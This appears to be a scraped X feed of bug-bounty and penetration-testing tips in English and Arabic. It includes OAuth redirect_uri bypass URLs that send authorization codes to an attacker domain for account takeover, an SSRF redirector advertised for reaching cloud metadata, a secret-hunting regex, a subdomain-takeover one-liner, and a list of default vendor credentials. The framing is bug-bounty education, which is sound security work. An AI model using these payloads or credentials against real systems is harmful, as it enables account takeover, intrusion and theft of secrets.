Osama Ismail (OI)

python developer - penetration testing - bug hunting - blogger

[Brute @BRuteLogic]

Redirector for SSRF

https://t.co/nSEbteU8VW

Bypass regex-based filters redirecting your SSRF target to real payloads, cloud metadata, internal services, with extra tricks.

400+ entries, pick some or automate.

Copy the link, point your target at it, see what comes back.

[Osama Ismail (OI) @osamta290]

@RemotejobWtessy مهتم

[Osama Ismail (OI) @osamta290]

@Aman_Hasan01 ممكن تشرح

[Osama Ismail (OI) @osamta290]

@ksa9818141 12

[𝗗𝘀𝗼𝗸𝗲𝗩🧑‍💻 @DsokeyyV]

Real-world scenario [5]: (OTP bypass via logic flaw) #CTF #bugbounty #bugbountytips #bugbountytip

[Brute @BRuteLogic]

ATO with Open Redirect

OAuth apps trust a registered redirect_uri to receive the authorization code after login. The problem: most servers only check that the value starts with the right domain, not that it matches exactly.

That loose check is the whole bug. No injection, no chaining, no race condition. Just a URL parameter most hunters skim past because it looks like config, not attack surface.

Once you control where the code lands, you control the account. The victim logs in normally, approves the app normally, and the code that should authenticate them gets handed straight to you instead.

Pixiv paid $2,000 for this exact class of bug. Bounties for redirect_uri bypasses commonly land between $1,000 and $5,000 depending on impact, and it shows up across major platforms including Slack and Instagram.

How to spot it: grab the authorization URL, change redirect_uri to a variant of the trusted domain you control, see if the server still issues the code.

Replace AUTH_TARGET with the authorization server, APP_TARGET with the app's registered domain and ATTACKER with a domain you control, then test each payload below.

=> Payload, original request:
https://AUTH_TARGET/authorize?client_id=APP_ID&redirect_uri=https://APP_TARGET/callback&response_type=code

=> Subdomain trick:
https://AUTH_TARGET/authorize?client_id=APP_ID&redirect_uri=https://APP_TARGET.ATTACKER/callback&response_type=code

=> Path-based open redirect on the legit domain:
https://AUTH_TARGET/authorize?client_id=APP_ID&redirect_uri=https://APP_TARGET/redirect?next=https://ATTACKER&response_type=code

If the flow completes and the code lands on your domain, the app is vulnerable.

[Hazem El-Sayed 🇵🇸 @zomasec]

Just recorded as session with @GodfatherOrwa about his amazing recon mindset in bugbounty , we talked about recon internals and what to do and what to not in 2026 in recon, BIg thanks Orwa .

Watch the full 1h.5 Session here on my channel 😃 : https://t.co/DRMkzivn7N

[Osama Ismail (OI) @osamta290]

@codezilla_ متى ح يكون في خصم تاني مستر اسلام وممكن اتراسل معك

[Osama Ismail (OI) @osamta290]

@codezilla_ السلام عليكم مستر ممكن ترد لي خاص

[aka BenSaad @X0Ben7]

حبايبنا الهاكرز دول شوية writeups كنت شيرتهم م فترة وان شاء الله بجهز شوية writeups حلوين جدا ولا تنسونا من صالح الدعاء 🤍
https://t.co/ImYJVh2QfX

[Coffin @lostsec_]

https://t.co/pGgequAQ8k
This is the longest and most in-depth article I’ve published on Medium so far. It covers IIS and ASP dotNET vulnerabilities from absolute basics to advanced techniques. Even if you have zero background in IIS, you’ll be able to understand the fundamentals and move toward practical, real-world testing by the end.

[rapiddns @rapiddns]

One-line subdomain + subdomain takeover:

./rapiddns-cli search https://t.co/cSEuCMwnjJ --column subdomain -o text| nuclei -t http/takeovers -o takeover_results.txt

rapiddns-cli
https://t.co/WyDuhABnAB

#BugBounty #Recon #InfoSec #bugbountytips #hackerone #bugcrowd

[مجلاد بن مشاري السبيعي @Al7lhh223]

🧰 Practical IT Support Commands أوامر دعم فني لازم يعرفها أي مبتدئ (Windows)

* كيف تشغّل الأوامر؟
- افتح نافذة التشغيل: Win + R ثم اكتب الأمر واضغط Enter .
- أو افتح موجّه الأوامر CMD: اضغط Start وأكتب cmd ثم اختر Run as administrator (كمسؤول) للأوامر اللي تحتاج صلاحيات .

🧊 When the PC is Slow or Freezing (بطء/تهنيق):
* temp - تنظيف ملفات النظام المؤقتة
* %temp% - حذف ملفات المستخدم المؤقتة
* prefetch - حذف ملفات البرامج المخزّنة (cached program files)
* cleanmgr - تشغيل Disk Cleanup
* taskmgr - تحديد من يستهلك CPU/RAM
* services.msc - إدارة تطبيقات/خدمات بدء التشغيل
* sfc /scannow - إصلاح ملفات النظام التالفة (نفّذها عبر CMD)
* chkdsk /f - إصلاح مشاكل القرص (نفّذها عبر CMD)

🌐 When the Internet isn’t Working (الإنترنت لا يعمل):
* ping <IP/website> - اختبار الاتصال
* ipconfig - عرض معلومات الشبكة
* ipconfig /release & /renew - تحديث/تغيير عنوان الـ IP
* ipconfig /flushdns - مسح DNS cache
* nslookup <domain> - فحص حلّ DNS للدومين
* tracert <domain> — تحديد نقاط انقطاع الاتصال
* netsh int ip reset - إعادة ضبط الشبكة (Network stack reset)

#ITSupport #Windows #Networking #SysAdmin

[Osama Ismail (OI) @osamta290]

@codezilla_ ممكن اتواصل معك خاص

[Aditya @ADITYASHENDE17]

Recon Smarter: Finding Sensitive Files in Large URL Lists
Most bug hunters stop at URLs.
Real impact comes from what those URLs expose.
This workflow combines:
• high-risk file extensions
• real-world secret patterns
• automated URL discovery
Result → fewer URLs, higher signal, better findings.

Step 1: Asset discovery
subfinder -d https://t.co/L5yl0Td0lI | httpx -mc 200,401,403,404 | tee domains.txt

Step 2 URL extraction
cat domains.txt | katana | tee urls.txt

Step 3: Smart grep (FILES + SECRETS)
We combine:
• Sensitive file extensions
• High-signal secret regex

cat urls.txt | grep -aiE "\.(zip|rar|tar|gz|config|log|bak|backup|java|old|xlsx|json|pdf|doc|docx|pptx|csv|htaccess|7z)$|(?i)(?:(?:access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_.,-]{0,25})[:<>=|]{1,2}.{0,5}['\"]([0-9A-Za-z\-_=]{8,64})['\"]"

#bugbounty
#recon
#infosec
#cybersecurity
#pentesting
#websecurity
#hacking

[Maniesh.Neupane @pwn4arn]

Bug Bounty Recon Methodology
Link: https://t.co/7PvtRJXj9U

[D7M | Aws @x0D7M]

👾هجوم HTTP Flood؟

نوع من هجمات DDoS

يرسل المهاجم طلبات كثير إلى السيرفر

الجزء المخيف؟ الطلبات تكون كانه مستخدم حقيقي يقوم بتحميل صفحة ويب

لكن السيرفر يستمر في محاولة الرد... حتى نفاذ الموارد ويتباطأ أو يتعطل

و اتمنى من الله انكم استفدتم (تفاعلك يساعد غيرك)🤎
وتابع @x0D7M

[Hidden Lock @hiddenlockT]

الجزء التاني من الـ Information Gathering (eJPTv2) نزل! 🎯

هنعرف إزاي نجيب الـ Subdomains المستخبية، نكشف الـ WAF، ونفرتك الـ DNS بأقوى الأدوات (Subfinder, dnsrecon, https://t.co/Kd7UR6boqm).

📺 شوف الفيديو من هنا:
https://t.co/XSXVfIj0h3

[X @TheMsterDoctor1]

# Default Credentials

1. Cisco
```
User: cisco
Password: cisco
```
2. Citrix
```
User: nsroot
Password: nsroot
```
3. Dell iDRAC
```
User: root
Password: calvin
```
4. Juniper
```
User: super
Password: juniper123
```
5. pfSense
```
User: admin
Password: pfsense
```
6. SAP
```
User: SAP*
Password: 06071992
```
7. Tomcat
```
User: tomcat
Password: tomcat
```
8. UniFi
```
User: ubnt
Password: ubnt
```
9. Weblogic
```
User: weblogic
Password: weblogic1
```
10. Zabbix
```
User: Admin
Password: zabbix
```
11. Windows
```
User: Administrator
Password: P@ssw0rd
```

[Jayesh Madnani @Jayesh25]

Bug Bounty Tips: Extract API Endpoints and Construct Complex HTTP Requests from JavaScript Files Using AI

Stuck analyzing complex JS files while manually hunting on a target and can't figure out how to construct those GET/POST requests? 🤯 No fancy tools needed!

👉 Quick tip: Copy the JS file from your Chrome Dev Console, save it locally, and upload it to ChatGPT. Use this prompt:

"Could you read this JavaScript file and help me construct GET/POST endpoints?"

Then, ask for specific requests like:

"Can you help me construct the API request for getUserDetails with a raw HTTP example based on the JavaScript file uploaded?" and other similar questions based on the functionality you're looking into within the JavaScript source code.

You’ll be amazed by the results as ChatGPT constructs these complex GET/POST requests with parameters based on the AI code review—making what seemed impossible at first glance possible! 🚀

Once you have this information, you can start manually testing the endpoints with your cookies to test for IDORs, SQLi, CSRF, Privilege Escalations, XSS, etc.

#BugBountyTips #SourceCode #Infosec #HackerOne #BugCrowd 🕵️‍♂️🎯